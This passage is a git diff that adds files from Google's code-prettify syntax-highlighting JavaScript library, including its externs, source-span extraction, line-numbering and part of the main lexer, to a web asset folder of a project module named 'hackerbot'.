+var IN_GLOBAL_SCOPE = false;
+/* @endif */
diff --git a/modules/utilities/unix/hackerbot/files/www/js/code-prettify/js-modules/externs.js b/modules/utilities/unix/hackerbot/files/www/js/code-prettify/js-modules/externs.js
new file mode 100644
index 000000000..d962f53cd
--- /dev/null
+++ b/modules/utilities/unix/hackerbot/files/www/js/code-prettify/js-modules/externs.js
@@ -0,0 +1,65 @@
+/**
+ * @license
+ * Copyright (C) 2015 Google Inc.
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+
+/**
+ *
+ * @fileoverview
+ * This file allows separate compilation of language handlers and the
+ * core library.
+ * @externs 
+ */
+
+
+var PR = {};
+
+/**
+ * @param {function (Object)} handler
+ * @param {Array.<string>} fileExtensions
+ */
+PR.registerLangHandler = function registerLangHandler(handler, fileExtensions) {};
+
+/**
+ * @param {Array} shortcutStylePatterns
+ * @param {Array} fallthroughStylePatterns
+ * @return {function (Object)}
+ */
+PR.createSimpleLexer = function createSimpleLexer(
+  shortcutStylePatterns, fallthroughStylePatterns) {};
+
+/**
+ * @param {Object} options a set of optional parameters.
+ * @return {function (Object)} a function that examines the source code
+ *     in the input job and builds the decoration list.
+ */
+PR.sourceDecorator = function sourceDecorator(options) {};
+
+
+PR.PR_ATTRIB_NAME = 'atn';
+PR.PR_ATTRIB_VALUE = 'atv';
+PR.PR_COMMENT = 'com';
+PR.PR_DECLARATION = 'dec';
+PR.PR_KEYWORD = 'kwd';
+PR.PR_LITERAL = 'lit';
+PR.PR_NOCODE = 'nocode';
+PR.PR_PLAIN = 'pln';
+PR.PR_PUNCTUATION = 'pun';
+PR.PR_SOURCE = 'src';
+PR.PR_STRING = 'str';
+PR.PR_TAG = 'tag';
+PR.PR_TYPE = 'typ';
+
diff --git a/modules/utilities/unix/hackerbot/files/www/js/code-prettify/js-modules/extractSourceSpans.js b/modules/utilities/unix/hackerbot/files/www/js/code-prettify/js-modules/extractSourceSpans.js
new file mode 100644
index 000000000..220ae0f21
--- /dev/null
+++ b/modules/utilities/unix/hackerbot/files/www/js/code-prettify/js-modules/extractSourceSpans.js
@@ -0,0 +1,90 @@
+/**
+ * Split markup into a string of source code and an array mapping ranges in
+ * that string to the text nodes in which they appear.
+ *
+ * <p>
+ * The HTML DOM structure:</p>
+ * <pre>
+ * (Element   "p"
+ *   (Element "b"
+ *     (Text  "print "))       ; #1
+ *   (Text    "'Hello '")      ; #2
+ *   (Element "br")            ; #3
+ *   (Text    "  + 'World';")) ; #4
+ * </pre>
+ * <p>
+ * corresponds to the HTML
+ * {@code <p><b>print </b>'Hello '<br>  + 'World';</p>}.</p>
+ *
+ * <p>
+ * It will produce the output:</p>
+ * <pre>
+ * {
+ *   sourceCode: "print 'Hello '\n  + 'World';",
+ *   //                     1          2
+ *   //           012345678901234 5678901234567
+ *   spans: [0, #1, 6, #2, 14, #3, 15, #4]
+ * }
+ * </pre>
+ * <p>
+ * where #1 is a reference to the {@code "print "} text node above, and so
+ * on for the other text nodes.
+ * </p>
+ *
+ * <p>
+ * The {@code} spans array is an array of pairs.  Even elements are the start
+ * indices of substrings, and odd elements are the text nodes (or BR elements)
+ * that contain the text for those substrings.
+ * Substrings continue until the next index or the end of the source.
+ * </p>
+ *
+ * @param {Node} node an HTML DOM subtree containing source-code.
+ * @param {boolean|number} isPreformatted truthy if white-space in
+ *    text nodes should be considered significant.
+ * @return {SourceSpansT} source code and the nodes in which they occur.
+ */
+function extractSourceSpans(node, isPreformatted) {
+  var nocode = /(?:^|\s)nocode(?:\s|$)/;
+
+  var chunks = [];
+  var length = 0;
+  var spans = [];
+  var k = 0;
+
+  function walk(node) {
+    var type = node.nodeType;
+    if (type == 1) {  // Element
+      if (nocode.test(node.className)) { return; }
+      for (var child = node.firstChild; child; child = child.nextSibling) {
+        walk(child);
+      }
+      var nodeName = node.nodeName.toLowerCase();
+      if ('br' === nodeName || 'li' === nodeName) {
+        chunks[k] = '\n';
+        spans[k << 1] = length++;
+        spans[(k++ << 1) | 1] = node;
+      }
+    } else if (type == 3 || type == 4) {  // Text
+      var text = node.nodeValue;
+      if (text.length) {
+        if (!isPreformatted) {
+          text = text.replace(/[ \t\r\n]+/g, ' ');
+        } else {
+          text = text.replace(/\r\n?/g, '\n');  // Normalize newlines.
+        }
+        // TODO: handle tabs here?
+        chunks[k] = text;
+        spans[k << 1] = length;
+        length += text.length;
+        spans[(k++ << 1) | 1] = node;
+      }
+    }
+  }
+
+  walk(node);
+
+  return {
+    sourceCode: chunks.join('').replace(/\n$/, ''),
+    spans: spans
+  };
+}
diff --git a/modules/utilities/unix/hackerbot/files/www/js/code-prettify/js-modules/numberLines.js b/modules/utilities/unix/hackerbot/files/www/js/code-prettify/js-modules/numberLines.js
new file mode 100644
index 000000000..e7ee3a42d
--- /dev/null
+++ b/modules/utilities/unix/hackerbot/files/www/js/code-prettify/js-modules/numberLines.js
@@ -0,0 +1,137 @@
+/**
+ * Given a DOM subtree, wraps it in a list, and puts each line into its own
+ * list item.
+ *
+ * @param {Node} node modified in place.  Its content is pulled into an
+ *     HTMLOListElement, and each line is moved into a separate list item.
+ *     This requires cloning elements, so the input might not have unique
+ *     IDs after numbering.
+ * @param {number|null|boolean} startLineNum
+ *     If truthy, coerced to an integer which is the 1-indexed line number
+ *     of the first line of code.  The number of the first line will be
+ *     attached to the list.
+ * @param {boolean} isPreformatted true iff white-space in text nodes should
+ *     be treated as significant.
+ */
+function numberLines(node, startLineNum, isPreformatted) {
+  var nocode = /(?:^|\s)nocode(?:\s|$)/;
+  var lineBreak = /\r\n?|\n/;
+
+  var document = node.ownerDocument;
+
+  var li = document.createElement('li');
+  while (node.firstChild) {
+    li.appendChild(node.firstChild);
+  }
+  // An array of lines.  We split below, so this is initialized to one
+  // un-split line.
+  var listItems = [li];
+
+  function walk(node) {
+    var type = node.nodeType;
+    if (type == 1 && !nocode.test(node.className)) {  // Element
+      if ('br' === node.nodeName.toLowerCase()) {
+        breakAfter(node);
+        // Discard the <BR> since it is now flush against a </LI>.
+        if (node.parentNode) {
+          node.parentNode.removeChild(node);
+        }
+      } else {
+        for (var child = node.firstChild; child; child = child.nextSibling) {
+          walk(child);
+        }
+      }
+    } else if ((type == 3 || type == 4) && isPreformatted) {  // Text
+      var text = node.nodeValue;
+      var match = text.match(lineBreak);
+      if (match) {
+        var firstLine = text.substring(0, match.index);
+        node.nodeValue = firstLine;
+        var tail = text.substring(match.index + match[0].length);
+        if (tail) {
+          var parent = node.parentNode;
+          parent.insertBefore(
+            document.createTextNode(tail), node.nextSibling);
+        }
+        breakAfter(node);
+        if (!firstLine) {
+          // Don't leave blank text nodes in the DOM.
+          node.parentNode.removeChild(node);
+        }
+      }
+    }
+  }
+
+  // Split a line after the given node.
+  function breakAfter(lineEndNode) {
+    // If there's nothing to the right, then we can skip ending the line
+    // here, and move root-wards since splitting just before an end-tag
+    // would require us to create a bunch of empty copies.
+    while (!lineEndNode.nextSibling) {
+      lineEndNode = lineEndNode.parentNode;
+      if (!lineEndNode) { return; }
+    }
+
+    function breakLeftOf(limit, copy) {
+      // Clone shallowly if this node needs to be on both sides of the break.
+      var rightSide = copy ? limit.cloneNode(false) : limit;
+      var parent = limit.parentNode;
+      if (parent) {
+        // We clone the parent chain.
+        // This helps us resurrect important styling elements that cross lines.
+        // E.g. in <i>Foo<br>Bar</i>
+        // should be rewritten to <li><i>Foo</i></li><li><i>Bar</i></li>.
+        var parentClone = breakLeftOf(parent, 1);
+        // Move the clone and everything to the right of the original
+        // onto the cloned parent.
+        var next = limit.nextSibling;
+        parentClone.appendChild(rightSide);
+        for (var sibling = next; sibling; sibling = next) {
+          next = sibling.nextSibling;
+          parentClone.appendChild(sibling);
+        }
+      }
+      return rightSide;
+    }
+
+    var copiedListItem = breakLeftOf(lineEndNode.nextSibling, 0);
+
+    // Walk the parent chain until we reach an unattached LI.
+    for (var parent;
+         // Check nodeType since IE invents document fragments.
+         (parent = copiedListItem.parentNode) && parent.nodeType === 1;) {
+      copiedListItem = parent;
+    }
+    // Put it on the list of lines for later processing.
+    listItems.push(copiedListItem);
+  }
+
+  // Split lines while there are lines left to split.
+  for (var i = 0;  // Number of lines that have been split so far.
+       i < listItems.length;  // length updated by breakAfter calls.
+       ++i) {
+    walk(listItems[i]);
+  }
+
+  // Make sure numeric indices show correctly.
+  if (startLineNum === (startLineNum|0)) {
+    listItems[0].setAttribute('value', startLineNum);
+  }
+
+  var ol = document.createElement('ol');
+  ol.className = 'linenums';
+  var offset = Math.max(0, ((startLineNum - 1 /* zero index */)) | 0) || 0;
+  for (var i = 0, n = listItems.length; i < n; ++i) {
+    li = listItems[i];
+    // Stick a class on the LIs so that stylesheets can
+    // color odd/even rows, or any other row pattern that
+    // is co-prime with 10.
+    li.className = 'L' + ((i + offset) % 10);
+    if (!li.firstChild) {
+      li.appendChild(document.createTextNode('\xA0'));
+    }
+    ol.appendChild(li);
+  }
+
+  node.appendChild(ol);
+}
diff --git a/modules/utilities/unix/hackerbot/files/www/js/code-prettify/js-modules/prettify.js b/modules/utilities/unix/hackerbot/files/www/js/code-prettify/js-modules/prettify.js
new file mode 100644
index 000000000..d642139bf
--- /dev/null
+++ b/modules/utilities/unix/hackerbot/files/www/js/code-prettify/js-modules/prettify.js
@@ -0,0 +1,1086 @@
+/**
+ * @license
+ * Copyright (C) 2006 Google Inc.
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+/**
+ * @fileoverview
+ * some functions for browser-side pretty printing of code contained in html.
+ *
+ * <p>
+ * For a fairly comprehensive set of languages see the
+ * <a href="https://github.com/google/code-prettify#for-which-languages-does-it-work">README</a>
+ * file that came with this source.  At a minimum, the lexer should work on a
+ * number of languages including C and friends, Java, Python, Bash, SQL, HTML,
+ * XML, CSS, Javascript, and Makefiles.  It works passably on Ruby, PHP and Awk
+ * and a subset of Perl, but, because of commenting conventions, doesn't work on
+ * Smalltalk, Lisp-like, or CAML-like languages without an explicit lang class.
+ * <p>
+ * Usage: <ol>
+ * <li> include this source file in an html page via
+ *   {@code <script type="text/javascript" src="/path/to/prettify.js"></script>}
+ * <li> define style rules.  See the example page for examples.
+ * <li> mark the {@code <pre>} and {@code <code>} tags in your source with
+ *    {@code class=prettyprint.}
+ *    You can also use the (html deprecated) {@code <xmp>} tag, but the pretty
+ *    printer needs to do more substantial DOM manipulations to support that, so
+ *    some css styles may not be preserved.
+ * </ol>
+ * That's it.  I wanted to keep the API as simple as possible, so there's no
+ * need to specify which language the code is in, but if you wish, you can add
+ * another class to the {@code <pre>} or {@code <code>} element to specify the
+ * language, as in {@code <pre class="prettyprint lang-java">}.  Any class that
+ * starts with "lang-" followed by a file extension, specifies the file type.
+ * See the "lang-*.js" files in this directory for code that implements
+ * per-language file handlers.
+ * <p>
+ * Change log:<br>
+ * cbeust, 2006/08/22
+ * <blockquote>
+ *   Java annotations (start with "@") are now captured as literals ("lit")
+ * </blockquote>
+ * @requires console
+ */
+
+// JSLint declarations
+/*global console, document, navigator, setTimeout, window, define */
+
+/* @ifndef RUN_PRETTIFY */
+/* @include defs.js */
+/* @endif */
+
+/**
+ * {@type !{
+ *   'createSimpleLexer': function (Array, Array): (function (JobT)),
+ *   'registerLangHandler': function (function (JobT), Array.<string>),
+ *   'PR_ATTRIB_NAME': string,
+ *   'PR_ATTRIB_NAME': string,
+ *   'PR_ATTRIB_VALUE': string,
+ *   'PR_COMMENT': string,
+ *   'PR_DECLARATION': string,
+ *   'PR_KEYWORD': string,
+ *   'PR_LITERAL': string,
+ *   'PR_NOCODE': string,
+ *   'PR_PLAIN': string,
+ *   'PR_PUNCTUATION': string,
+ *   'PR_SOURCE': string,
+ *   'PR_STRING': string,
+ *   'PR_TAG': string,
+ *   'PR_TYPE': string,
+ *   'prettyPrintOne': function (string, string, number|boolean),
+ *   'prettyPrint': function (?function, ?(HTMLElement|HTMLDocument))
+ * }}
+ * @const
+ */
+var PR;
+
+/**
+ * Split {@code prettyPrint} into multiple timeouts so as not to interfere with
+ * UI events.
+ * If set to {@code false}, {@code prettyPrint()} is synchronous.
+ */
+window['PR_SHOULD_USE_CONTINUATION'] = true;
+
+/**
+ * Pretty print a chunk of code.
+ * @param {string} sourceCodeHtml The HTML to pretty print.
+ * @param {string} opt_langExtension The language name to use.
+ *     Typically, a filename extension like 'cpp' or 'java'.
+ * @param {number|boolean} opt_numberLines True to number lines,
+ *     or the 1-indexed number of the first line in sourceCodeHtml.
+ * @return {string} code as html, but prettier
+ */
+var prettyPrintOne;
+/**
+ * Find all the {@code <pre>} and {@code <code>} tags in the DOM with
+ * {@code class=prettyprint} and prettify them.
+ *
+ * @param {Function} opt_whenDone called when prettifying is done.
+ * @param {HTMLElement|HTMLDocument} opt_root an element or document
+ *   containing all the elements to pretty print.
+ *   Defaults to {@code document.body}.
+ */
+var prettyPrint;
+
+
+(function () {
+  var win = window;
+  // Keyword lists for various languages.
+  // We use things that coerce to strings to make them compact when minified
+  // and to defeat aggressive optimizers that fold large string constants.
+  var FLOW_CONTROL_KEYWORDS = ["break,continue,do,else,for,if,return,while"];
+  var C_KEYWORDS = [FLOW_CONTROL_KEYWORDS,"auto,case,char,const,default," +
+      "double,enum,extern,float,goto,inline,int,long,register,restrict,short,signed," +
+      "sizeof,static,struct,switch,typedef,union,unsigned,void,volatile"];
+  var COMMON_KEYWORDS = [C_KEYWORDS,"catch,class,delete,false,import," +
+      "new,operator,private,protected,public,this,throw,true,try,typeof"];
+  var CPP_KEYWORDS = [COMMON_KEYWORDS,"alignas,alignof,align_union,asm,axiom,bool," +
+      "concept,concept_map,const_cast,constexpr,decltype,delegate," +
+      "dynamic_cast,explicit,export,friend,generic,late_check," +
+      "mutable,namespace,noexcept,noreturn,nullptr,property,reinterpret_cast,static_assert," +
+      "static_cast,template,typeid,typename,using,virtual,where"];
+  var JAVA_KEYWORDS = [COMMON_KEYWORDS,
+      "abstract,assert,boolean,byte,extends,finally,final,implements,import," +
+      "instanceof,interface,null,native,package,strictfp,super,synchronized," +
+      "throws,transient"];
+  var CSHARP_KEYWORDS = [COMMON_KEYWORDS,
+      "abstract,add,alias,as,ascending,async,await,base,bool,by,byte,checked,decimal,delegate,descending," +
+      "dynamic,event,finally,fixed,foreach,from,get,global,group,implicit,in,interface," +
+      "internal,into,is,join,let,lock,null,object,out,override,orderby,params," +
+      "partial,readonly,ref,remove,sbyte,sealed,select,set,stackalloc,string,select,uint,ulong," +
+      "unchecked,unsafe,ushort,value,var,virtual,where,yield"];
+  var COFFEE_KEYWORDS = "all,and,by,catch,class,else,extends,false,finally," +
+      "for,if,in,is,isnt,loop,new,no,not,null,of,off,on,or,return,super,then," +
+      "throw,true,try,unless,until,when,while,yes";
+  var JSCRIPT_KEYWORDS = [COMMON_KEYWORDS,
+      "abstract,async,await,constructor,debugger,enum,eval,export,function," +
+      "get,implements,instanceof,interface,let,null,set,undefined,var,with," +
+      "yield,Infinity,NaN"];
+  var PERL_KEYWORDS = "caller,delete,die,do,dump,elsif,eval,exit,foreach,for," +
+      "goto,if,import,last,local,my,next,no,our,print,package,redo,require," +
+      "sub,undef,unless,until,use,wantarray,while,BEGIN,END";
+  var PYTHON_KEYWORDS = [FLOW_CONTROL_KEYWORDS, "and,as,assert,class,def,del," +
+      "elif,except,exec,finally,from,global,import,in,is,lambda," +
+      "nonlocal,not,or,pass,print,raise,try,with,yield," +
+      "False,True,None"];
+  var RUBY_KEYWORDS = [FLOW_CONTROL_KEYWORDS, "alias,and,begin,case,class," +
+      "def,defined,elsif,end,ensure,false,in,module,next,nil,not,or,redo," +
+      "rescue,retry,self,super,then,true,undef,unless,until,when,yield," +
+      "BEGIN,END"];
+  var SH_KEYWORDS = [FLOW_CONTROL_KEYWORDS, "case,done,elif,esac,eval,fi," +
+      "function,in,local,set,then,until"];
+  var ALL_KEYWORDS = [
+      CPP_KEYWORDS, CSHARP_KEYWORDS, JAVA_KEYWORDS, JSCRIPT_KEYWORDS,
+      PERL_KEYWORDS, PYTHON_KEYWORDS, RUBY_KEYWORDS, SH_KEYWORDS];
+  var C_TYPES = /^(DIR|FILE|array|vector|(de|priority_)?queue|(forward_)?list|stack|(const_)?(reverse_)?iterator|(unordered_)?(multi)?(set|map)|bitset|u?(int|float)\d*)\b/;
+
+  // token style names.  correspond to css classes
+  /**
+   * token style for a string literal
+   * @const
+   */
+  var PR_STRING = 'str';
+  /**
+   * token style for a keyword
+   * @const
+   */
+  var PR_KEYWORD = 'kwd';
+  /**
+   * token style for a comment
+   * @const
+   */
+  var PR_COMMENT = 'com';
+  /**
+   * token style for a type
+   * @const
+   */
+  var PR_TYPE = 'typ';
+  /**
+   * token style for a literal value.  e.g. 1, null, true.
+   * @const
+   */
+  var PR_LITERAL = 'lit';
+  /**
+   * token style for a punctuation string.
+   * @const
+   */
+  var PR_PUNCTUATION = 'pun';
+  /**
+   * token style for plain text.
+   * @const
+   */
+  var PR_PLAIN = 'pln';
+
+  /**
+   * token style for an sgml tag.
+   * @const
+   */
+  var PR_TAG = 'tag';
+  /**
+   * token style for a markup declaration such as a DOCTYPE.
+   * @const
+   */
+  var PR_DECLARATION = 'dec';
+  /**
+   * token style for embedded source.
+   * @const
+   */
+  var PR_SOURCE = 'src';
+  /**
+   * token style for an sgml attribute name.
+   * @const
+   */
+  var PR_ATTRIB_NAME = 'atn';
+  /**
+   * token style for an sgml attribute value.
+   * @const
+   */
+  var PR_ATTRIB_VALUE = 'atv';
+
+  /**
+   * A class that indicates a section of markup that is not code, e.g. to allow
+   * embedding of line numbers within code listings.
+   * @const
+   */
+  var PR_NOCODE = 'nocode';
+
+  /* @include regexpPrecederPatterns.js */
+
+  /* @include combinePrefixPatterns.js */
+
+  /* @include extractSourceSpans.js */
+
+  /**
+   * Apply the given language handler to sourceCode and add the resulting
+   * decorations to out.
+   * @param {!Element} sourceNode
+   * @param {number} basePos the index of sourceCode within the chunk of source
+   *    whose decorations are already present on out.
+   * @param {string} sourceCode
+   * @param {function(JobT)} langHandler
+   * @param {DecorationsT} out
+   */
+  function appendDecorations(
+      sourceNode, basePos, sourceCode, langHandler, out) {
+    if (!sourceCode) { return; }
+    /** @type {JobT} */
+    var job = {
+      sourceNode: sourceNode,
+      pre: 1,
+      langExtension: null,
+      numberLines: null,
+      sourceCode: sourceCode,
+      spans: null,
+      basePos: basePos,
+      decorations: null
+    };
+    langHandler(job);
+    out.push.apply(out, job.decorations);
+  }
+
+  var notWs = /\S/;
+
+  /**
+   * Given an element, if it contains only one child element and any text nodes
+   * it contains contain only space characters, return the sole child element.
+   * Otherwise returns undefined.
+   * <p>
+   * This is meant to return the CODE element in {@code <pre><code ...>} when
+   * there is a single child element that contains all the non-space textual
+   * content, but not to return anything where there are multiple child elements
+   * as in {@code <pre><code>...</code><code>...</code></pre>} or when there
+   * is textual content.
+   */
+  function childContentWrapper(element) {
+    var wrapper = undefined;
+    for (var c = element.firstChild; c; c = c.nextSibling) {
+      var type = c.nodeType;
+      wrapper = (type === 1)  // Element Node
+          ? (wrapper ? element : c)
+          : (type === 3)  // Text Node
+          ? (notWs.test(c.nodeValue) ? element : wrapper)
+          : wrapper;
+    }
+    return wrapper === element ? undefined : wrapper;
+  }
+
+  /** Given triples of [style, pattern, context] returns a lexing function,
+    * The lexing function interprets the patterns to find token boundaries and
+    * returns a decoration list of the form
+    * [index_0, style_0, index_1, style_1, ..., index_n, style_n]
+    * where index_n is an index into the sourceCode, and style_n is a style
+    * constant like PR_PLAIN.  index_n-1 <= index_n, and style_n-1 applies to
+    * all characters in sourceCode[index_n-1:index_n].
+    *
+    * The stylePatterns is a list whose elements have the form
+    * [style : string, pattern : RegExp, DEPRECATED, shortcut : string].
+    *
+    * Style is a style constant like PR_PLAIN, or can be a string of the
+    * form 'lang-FOO', where FOO is a language extension describing the
+    * language of the portion of the token in $1 after pattern executes.
+    * E.g., if style is 'lang-lisp', and group 1 contains the text
+    * '(hello (world))', then that portion of the token will be passed to the
+    * registered lisp handler for formatting.
+    * The text before and after group 1 will be restyled using this decorator
+    * so decorators should take care that this doesn't result in infinite
+    * recursion.  For example, the HTML lexer rule for SCRIPT elements looks
+    * something like ['lang-js', /<[s]cript>(.+?)<\/script>/].  This may match
+    * '<script>foo()<\/script>', which would cause the current decorator to
+    * be called with '<script>' which would not match the same rule since
+    * group 1 must not be empty, so it would be instead styled as PR_TAG by
+    * the generic tag rule.  The handler registered for the 'js' extension would
+    * then be called with 'foo()', and finally, the current decorator would
+    * be called with '<\/script>' which would not match the original rule and
+    * so the generic tag rule would identify it as a tag.
+    *
+    * Pattern must only match prefixes, and if it matches a prefix, then that
+    * match is considered a token with the same style.
+    *
+    * Context is applied to the last non-whitespace, non-comment token
+    * recognized.
+    *
+    * Shortcut is an optional string of characters, any of which, if the first
+    * character, gurantee that this pattern and only this pattern matches.
+    *
+    * @param {Array} shortcutStylePatterns patterns that always start with
+    *   a known character.  Must have a shortcut string.
+    * @param {Array} fallthroughStylePatterns patterns that will be tried in
+    *   order if the shortcut ones fail.  May have shortcuts.
+    *
+    * @return {function (JobT)} a function that takes an undecorated job and
+    *   attaches a list of decorations.
+    */
+  function createSimpleLexer(shortcutStylePatterns, fallthroughStylePatterns) {
+    var shortcuts = {};
+    var tokenizer;
+    (function () {
+      var allPatterns = shortcutStylePatterns.concat(fallthroughStylePatterns);
+      var allRegexs = [];
+      var regexKeys = {};
+      for (var i = 0, n = allPatterns.length; i < n; ++i) {
+        var patternParts = allPatterns[i];
+        var shortcutChars = patternParts[3];
+        if (shortcutChars) {
+          for (var c = shortcutChars.length; --c >= 0;) {
+            shortcuts[shortcutChars.charAt(c)] = patternParts;
+          }
+        }
+        var regex = patternParts[1];
+        var k = '' + regex;
+        if (!regexKeys.hasOwnProperty(k)) {
+          allRegexs.push(regex);
+          regexKeys[k] = null;
+        }
+      }
+      allRegexs.push(/[\0-\uffff]/);
+      tokenizer = combinePrefixPatterns(allRegexs);
+    })();
+
+    var nPatterns = fallthroughStylePatterns.length;
+
+    /**
+     * Lexes job.sourceCode and attaches an output array job.decorations of
+     * style classes preceded by the position at which they start in
+     * job.sourceCode in order.
+     *
+     * @type{function (JobT)}
+     */
+    var decorate = function (job) {
+      var sourceCode = job.sourceCode, basePos = job.basePos;
+      var sourceNode = job.sourceNode;
+      /** Even entries are positions in source in ascending order.  Odd enties
+        * are style markers (e.g., PR_COMMENT) that run from that position until
+        * the end.
+        * @type {DecorationsT}
+        */
+      var decorations = [basePos, PR_PLAIN];
+      var pos = 0;  // index into sourceCode
+      var tokens = sourceCode.match(tokenizer) || [];
+      var styleCache = {};
+
+      for (var ti = 0, nTokens = tokens.length; ti < nTokens; ++ti) {
+        var token = tokens[ti];
+        var style = styleCache[token];
+        var match = void 0;
+
+        var isEmbedded;
+        if (typeof style === 'string') {
+          isEmbedded = false;
+        } else {
+          var patternParts = shortcuts[token.charAt(0)];
+          if (patternParts) {
+            match = token.match(patternParts[1]);
+            style = patternParts[0];
+          } else {
+            for (var i = 0; i < nPatterns; ++i) {
+              patternParts = fallthroughStylePatterns[i];
+              match = token.match(patternParts[1]);
+              if (match) {
+                style = patternParts[0];
+                break;
+              }
+            }
+
+            if (!match) {  // make sure that we make progress
+              style = PR_PLAIN;
+            }
+          }
+
+          isEmbedded = style.length >= 5 && 'lang-' === style.substring(0, 5);
+          if (isEmbedded && !(match && typeof match[1] === 'string')) {
+            isEmbedded = false;
+            style = PR_SOURCE;
+          }
+
+          if (!isEmbedded) { styleCache[token] = style; }
+        }
+
+        var tokenStart = pos;
+        pos += token.length;
+
+        if (!isEmbedded) {
+          decorations.push(basePos + tokenStart, style);
+        } else {  // Treat group 1 as an embedded block of source code.
+          var embeddedSource = match[1];
+          var embeddedSourceStart = token.indexOf(embeddedSource);
+          var embeddedSourceEnd = embeddedSourceStart + embeddedSource.length;
+          if (match[2]) {
+            // If embeddedSource can be blank, then it would match at the
+            // beginning which would cause us to infinitely recurse on the
+            // entire token, so we catch the right context in match[2].
+            embeddedSourceEnd = token.length - match[2].length;
+            embeddedSourceStart = embeddedSourceEnd - embeddedSource.length;
+          }
+          var lang = style.substring(5);
+          // Decorate the left of the embedded source
+          appendDecorations(
+              sourceNode,
+              basePos + tokenStart,
+              token.substring(0, embeddedSourceStart),
+              decorate, decorations);
+          // Decorate the embedded source
+          appendDecorations(
+              sourceNode,
+              basePos + tokenStart + embeddedSourceStart,
+              embeddedSource,
+              langHandlerForExtension(lang, embeddedSource),
+              decorations);
+          // Decorate the right of the embedded section
+          appendDecorations(
+              sourceNode,
+              basePos + tokenStart + embeddedSourceEnd,
+              token.substring(embeddedSourceEnd),
+              decorate, decorations);
+        }
+      }
+      job.decorations = decorations;
+    };
+    return decorate;
+  }
+
+  /** returns a function that produces a list of decorations from source text.
+    *
+    * This code treats ", ', and ` as string delimiters, and \ as a string
+    * escape.  It does not recognize perl's qq() style strings.
+    * It has no special handling for double delimiter escapes as in basic, or
+    * the tripled delimiters used in python, but should work on those regardless
+    * although in those cases a single string literal may be broken up into
+    * multiple adjacent string literals.
+    *
+    * It recognizes C, C++, and shell style comments.
+    *
+    * @param {Object} options a set of optional parameters.
+    * @return {function (JobT)} a function that examines the source code
+    *     in the input job and builds a decoration list which it attaches to
+    *     the job.
+    */
+  function sourceDecorator(options) {
+    var shortcutStylePatterns = [], fallthroughStylePatterns = [];
+    if (options['tripleQuotedStrings']) {
+      // '''multi-line-string''', 'single-line-string', and double-quoted
+      shortcutStylePatterns.push(
+          [PR_STRING,  /^(?:\'\'\'(?:[^\'\\]|\\[\s\S]|\'{1,2}(?=[^\']))*(?:\'\'\'|$)|\"\"\"(?:[^\"\\]|\\[\s\S]|\"{1,2}(?=[^\"]))*(?:\"\"\"|$)|\'(?:[^\\\']|\\[\s\S])*(?:\'|$)|\"(?:[^\\\"]|\\[\s\S])*(?:\"|$))/,
+           null, '\'"']);
+    } else if (options['multiLineStrings']) {
+      // 'multi-line-string', "multi-line-string"
+      shortcutStylePatterns.push(
+          [PR_STRING,  /^(?:\'(?:[^\\\']|\\[\s\S])*(?:\'|$)|\"(?:[^\\\"]|\\[\s\S])*(?:\"|$)|\`(?:[^\\\`]|\\[\s\S])*(?:\`|$))/,
+           null, '\'"`']);
+    } else {
+      // 'single-line-string', "single-line-string"
+      shortcutStylePatterns.push(
+          [PR_STRING,
+           /^(?:\'(?:[^\\\'\r\n]|\\.)*(?:\'|$)|\"(?:[^\\\"\r\n]|\\.)*(?:\"|$))/,
+           null, '"\'']);
+    }
+    if (options['verbatimStrings']) {
+      // verbatim-string-literal production from the C# grammar.  See issue 93.
+      fallthroughStylePatterns.push(
+          [PR_STRING, /^@\"(?:[^\"]|\"\")*(?:\"|$)/, null]);
+    }
+    var hc = options['hashComments'];
+    if (hc) {
+      if (options['cStyleComments']) {
+        if (hc > 1) {  // multiline hash comments
+          shortcutStylePatterns.push(
+              [PR_COMMENT, /^#(?:##(?:[^#]|#(?!##))*(?:###|$)|.*)/, null, '#']);
+        } else {
+          // Stop C preprocessor declarations at an unclosed open comment
+          shortcutStylePatterns.push(
+              [PR_COMMENT, /^#(?:(?:define|e(?:l|nd)if|else|error|ifn?def|include|line|pragma|undef|warning)\b|[^\r\n]*)/,
+               null, '#']);
+        }
+        // #include <stdio.h>
+        fallthroughStylePatterns.push(
+            [PR_STRING,
+             /^<(?:(?:(?:\.\.\/)*|\/?)(?:[\w-]+(?:\/[\w-]+)+)?[\w-]+\.h(?:h|pp|\+\+)?|[a-z]\w*)>/,
+             null]);
+      } else {
+        shortcutStylePatterns.push([PR_COMMENT, /^#[^\r\n]*/, null, '#']);
+      }
+    }
+    if (options['cStyleComments']) {
+      fallthroughStylePatterns.push([PR_COMMENT, /^\/\/[^\r\n]*/, null]);
+      fallthroughStylePatterns.push(
+          [PR_COMMENT, /^\/\*[\s\S]*?(?:\*\/|$)/, null]);
+    }
+    var regexLiterals = options['regexLiterals'];
+    if (regexLiterals) {
+      /**
+       * @const
+       */
+      var regexExcls = regexLiterals > 1
+        ? ''  // Multiline regex literals
+        : '\n\r';
+      /**
+       * @const
+       */
+      var regexAny = regexExcls ? '.' : '[\\S\\s]';
+      /**
+       * @const
+       */
+      var REGEX_LITERAL = (
+          // A regular expression literal starts with a slash that is
+          // not followed by * or / so that it is not confused with
+          // comments.
+          '/(?=[^/*' + regexExcls + '])'
+          // and then contains any number of raw characters,
+          + '(?:[^/\\x5B\\x5C' + regexExcls + ']'
+          // escape sequences (\x5C),
+          +    '|\\x5C' + regexAny
+          // or non-nesting character sets (\x5B\x5D);
+          +    '|\\x5B(?:[^\\x5C\\x5D' + regexExcls + ']'
+          +             '|\\x5C' + regexAny + ')*(?:\\x5D|$))+'
+          // finally closed by a /.
+          + '/');
+      fallthroughStylePatterns.push(
+          ['lang-regex',
+           RegExp('^' + REGEXP_PRECEDER_PATTERN + '(' + REGEX_LITERAL + ')')
+           ]);
+    }
+
+    var types = options['types'];
+    if (types) {
